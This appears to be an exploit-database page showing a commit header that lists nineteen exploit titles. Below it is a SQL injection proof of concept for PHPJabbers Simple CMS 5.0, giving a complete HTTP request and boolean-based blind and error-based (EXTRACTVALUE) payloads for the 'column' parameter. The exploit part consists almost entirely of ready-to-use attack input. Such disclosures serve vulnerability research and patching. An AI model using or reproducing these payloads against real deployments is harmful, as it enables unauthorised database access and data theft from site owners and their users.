668314bbda
19 changes to exploits/shellcodes/ghdb FS-S3900-24T4S - Privilege Escalation Virtual Reception v1.0 - Web Server Directory Traversal admidio v4.2.5 - CSV Injection Companymaps v8.0 - Stored Cross Site Scripting (XSS) GLPI 9.5.7 - Username Enumeration OpenEMR v7.0.1 - Authentication credentials brute force PHP Restaurants 1.0 - SQLi Authentication Bypass & Cross Site Scripting PHPFusion 9.10.30 - Stored Cross-Site Scripting (XSS) PHPJabbers Simple CMS 5.0 - SQL Injection PHPJabbers Simple CMS V5.0 - Stored Cross-Site Scripting (XSS) phpMyFAQ v3.1.12 - CSV Injection projectSend r1605 - Private file download revive-adserver v5.4.1 - Cross-Site Scripting (XSS) Serendipity 2.4.0 - File Inclusion RCE SoftExpert (SE) Suite v2.1.3 - Local File Inclusion Advanced Host Monitor v12.56 - Unquoted Service Path MilleGPG5 5.9.2 (Gennaio 2023) - Local Privilege Escalation / Incorrect Access Control
40 lines
No EOL
1.5 KiB
Text
40 lines
No EOL
1.5 KiB
Text
# Exploit Title: PHPJabbers Simple CMS 5.0 - SQL Injection
|
|
# Date: 2023-04-29
|
|
# Exploit Author: Ahmet Ümit BAYRAM
|
|
# Vendor Homepage: https://www.phpjabbers.com/faq.php
|
|
# Software Link: https://www.phpjabbers.com/simple-cms/
|
|
# Version: 5.0
|
|
# Tested on: Kali Linux
|
|
|
|
### Request ###
|
|
|
|
GET
|
|
/simplecms/index.php?action=pjActionGetFile&column=created&controller=pjAdminFiles&direction=DESC&page=0&rowCount=10
|
|
HTTP/1.1
|
|
Accept: */*
|
|
x-requested-with: XMLHttpRequest
|
|
Referer: https://localhost/simplecms/preview.php?lid=1
|
|
Cookie: simpleCMS=lhfh97t17ahm8m375r3upfa844;
|
|
_fbp=fb.1.1682777372679.72057406; pjd=2rnbhrurbqjsuajj7pnffh2292;
|
|
pjd_simplecms=1; last_position=%2F
|
|
Accept-Encoding: gzip,deflate,br
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
|
(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
|
|
Host: localhost
|
|
Connection: Keep-alive
|
|
|
|
### Parameter & Payloads ###
|
|
|
|
Parameter: column (GET)
|
|
Type: boolean-based blind
|
|
Title: Boolean-based blind - Parameter replace (original value)
|
|
Payload: action=pjActionGetFile&column=(SELECT (CASE WHEN (9869=9869)
|
|
THEN 2 ELSE (SELECT 2339 UNION SELECT 4063)
|
|
END))&controller=pjAdminFiles&direction=DESC&page=0&rowCount=10
|
|
|
|
Type: error-based
|
|
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
|
|
BY clause (EXTRACTVALUE)
|
|
Payload: action=pjActionGetFile&column=2 AND
|
|
EXTRACTVALUE(2212,CONCAT(0x5c,0x716b766271,(SELECT
|
|
(ELT(2212=2212,1))),0x716b707671))&controller=pjAdminFiles&direction=DESC&page=0&rowCount=10 |